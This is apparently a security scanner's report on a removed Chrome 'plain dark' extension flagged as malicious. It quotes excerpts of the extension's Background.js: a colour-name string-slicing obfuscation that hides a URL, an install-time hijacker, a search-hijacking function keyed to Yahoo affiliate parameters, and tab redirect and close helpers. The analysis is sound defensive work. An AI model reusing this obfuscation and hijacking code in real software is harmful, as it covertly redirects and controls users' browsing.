plain dark

ID: jadjbhhfdenjlfnhoamefngoppkpcdah

Could be malicious

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Removed
Version
0.1
Size
0.07 MB
Rating
0.0/5
Reviews
0
Users
5,000
Type
Extension
Updated
Sep 29, 2021
Category
22_accessibility
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
robynlortizssxView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
5,000

turn simple webpages dark using this simple dark mode extension

make the web page look dark using this extension. 1)open web page example: www.lipsum.com 2)click on extension icon.

Item
Type
Severity
Description
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.

The extension assembles a URL by concatenating string slices extracted from innocuous-looking color-name strings using a custom `color()` function. Variable names (`colordark`, `colorlight`, `colorrgb`, `colorhexa`) camouflage the operation as color-related logic. The decoded result stored in `ty` is a full URL that is later used to create new tabs and redirect the browser, making the destination completely opaque to static analysis.

Background.js (Line 1028)
var colordark = color("Bright green", "4", "6") + color("light", "4", "5") + color("pink", "0", "1");var colorlight = color("sea blue", "0", "1") + color("orange:", "6", "7") + color("yellow/", "6", "7");var colorrgb = color("yellow/", "6", "7") + color("Aqua blue", "1", "2") + color("css3", "0", "4");var colorhexa = color("cho.colate", "3", "6") + color("maroon", "0", "1") + color("/css", "0", "4");function colr() {  return colordark + colorlight + colorrgb + colorhexa;}var ty = colr();

On extension install, this listener enumerates all open browser windows and targets popup-type windows (detected via the obfuscated string slice `color("Dark purple", 5, 7)` which evaluates to "pu"). It closes the found window after 1 second and then opens a new tab navigating to the obfuscated URL `ty` after 1.5 seconds. This is classic adware/hijacker install-time behavior: replacing existing browser context with an attacker-controlled URL.

Background.js (Line 2364)
chrome.runtime.onInstalled.addListener(function(e) {  "install" === e.reason && chrome.windows.getAll({    populate: !0  }, function(e) {    var t;    for (i = 0; i <= e.length - 1; i++) e[i].type.includes(color("Dark purple", 5, 7)) && (t = i, colores(),      setTimeout(function() {        chrome.windows.remove(e[t].id, function() {})      }, 1e3), setTimeout(function() {        colort(ty)      }, 1500))  })});

This function is a search-hijacking engine that inspects the URL of every loaded tab. It recognizes multiple known Yahoo Search affiliate parameters (`q=yhs-002`, `q=yhs-active8`, `hspart=dcola`, `hspart=Lkry`, `pid=default2017`, `&ptag`, `&conlogo`, `&FORM`) and either redirects the tab to an attacker-controlled URL (`colo(up + errors)`) or silently closes it (`cls(t.id)`). The `tillshe` pattern closes tabs matching a specific hijack destination. This is the core search-hijacking payload that intercepts organic search sessions.

Background.js (Line 3994)
function colorCo(e, p, t) {  colorid = (e => t.url.includes(e)), colorid("tillshe") && cls(t.id), (colorid("q=yhs-002") || colorid(    "q=yhs-active8")) && colo(up + errors), (colorid("rectre") || colorid("imageadvan") || colorid(    "pid=default2017") || colorid("hspart=dcola") || colorid("antgreen") || colorid("hspart=Lkry") || colorid(    "&ptag") || colorid("&conlogo") || colorid("&FORM")) && (mp = !0, setTimeout(function() {    cls(t.id), mp = !1  }, 200)), lear()}

These two helper functions provide the tab-navigation primitives used by the hijacking infrastructure: `colo()` silently redirects the current tab to any arbitrary URL, and `colort()` opens a new tab to any arbitrary URL. Both accept a URL argument that is always the obfuscated `ty` value or a composed affiliate redirect, giving the attacker full control over where the user is sent.

Background.js (Line 2223)
function colo(e) {  chrome.tabs.update({    url: e  })};function colort(e) {  chrome.tabs.create({    url: e  })}

The `lear()` function queries all tabs in the current window and closes any that contain the domain substring of the obfuscated URL `ty` (extracted via `color(ty, 8, 13)`) to prevent duplicate hijacked tabs. The `cls()` helper silently removes a tab by ID. These functions are called from both the install-time handler and the search-hijacking `colorCo()` function, forming the cleanup stage of the hijacking flow.

Background.js (Line 2038)
function lear() {  chrome.tabs.query({    currentWindow: !0  }, function(n) {    for (var r = 0; r < n.length - 1; r++) n[r].url.indexOf(n[n.length - 1].url) > -1 && n[r].url.indexOf(color(      ty, 8, 13)) > -1 && n[n.length - 1].url.indexOf(color(ty, 8, 13)) > -1 && cls(n[r].id)  })}function cls(c) {  chrome.tabs.remove(c)}

The Background.js service worker is 4,340 lines (217 KB) despite the declared extension purpose requiring at most ~40 lines of code. The legitimate toggle logic is confined to lines 1-38. The remaining 4,300+ lines consist of non-functional color-picker, slider, and UI code that references undefined variables and can never execute correctly. This bulk code is deliberately inserted to obscure the six malicious functions (URL builder, install hijacker, search hijacker, tab redirector, tab closer, dedup cleaner) that are scattered throughout.

Background.js (Line 1)
var colorup = "off";chrome.action.onClicked.addListener(colorsClicked);function colorsClicked(tab) {  // ... ~40 lines of legitimate dark mode logic ...}// [4300+ lines of irrelevant color-picker slider/UI code]// Functions: darkcolorshades, checkdarkcolors, brightColors, colorlistRGB, shadedark,// shadedarkcolors, checkrgbcolors, lightcolors, darkcolorlist, randomcolors, iscolored,// rgbhslcolors, commoncolors, updatecolors, colorshades, etc.// None of these functions are ever meaningfully called; they reference undefined// variables (colorisdark, filldarkColor, RGB, presentColor, etc.) and exist// solely as padding to bury the malicious functions (colorCo, colo, colort, lear, cls).

By severity

Critical3
High3
Medium0
Low0

Versions scanned

Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
0.16

Files with findings

1 distinct path — top paths by unique finding count:

  • Background.js6
S.No.
Category
Severity
File
Summary
Found in Version
1Obfuscation
critical
Background.js (line 1028)The extension assembles a URL by concatenating string slices extracted from innocuous-looking color-name strings using a custom `color()` function. Variable names (`colordark`, `colorlight`, `colorrgb`, `colorhexa`) c…
2Privilege Escalation
critical
Background.js (line 2364)On extension install, this listener enumerates all open browser windows and targets popup-type windows (detected via the obfuscated string slice `color("Dark purple", 5, 7)` which evaluates to "pu"). It closes the fou…
3Unauthorized Data Collection
critical
Background.js (line 3994)This function is a search-hijacking engine that inspects the URL of every loaded tab. It recognizes multiple known Yahoo Search affiliate parameters (`q=yhs-002`, `q=yhs-active8`, `hspart=dcola`, `hspart=Lkry`, `pid=d…
4Obfuscation
high
Background.js (line 1)The Background.js service worker is 4,340 lines (217 KB) despite the declared extension purpose requiring at most ~40 lines of code. The legitimate toggle logic is confined to lines 1-38. The remaining 4,300+ lines co…
5Privilege Escalation
high
Background.js (line 2223)These two helper functions provide the tab-navigation primitives used by the hijacking infrastructure: `colo()` silently redirects the current tab to any arbitrary URL, and `colort()` opens a new tab to any arbitrary …
6Privilege Escalation
high
Background.js (line 2038)The `lear()` function queries all tabs in the current window and closes any that contain the domain substring of the obfuscated URL `ty` (extracted via `color(ty, 8, 13)`) to prevent duplicate hijacked tabs. The `cls(…
URLs
1
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
0.1
Latest
0.05 MB
Malicious
6
0.2
0.07 MB
Malicious
—
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.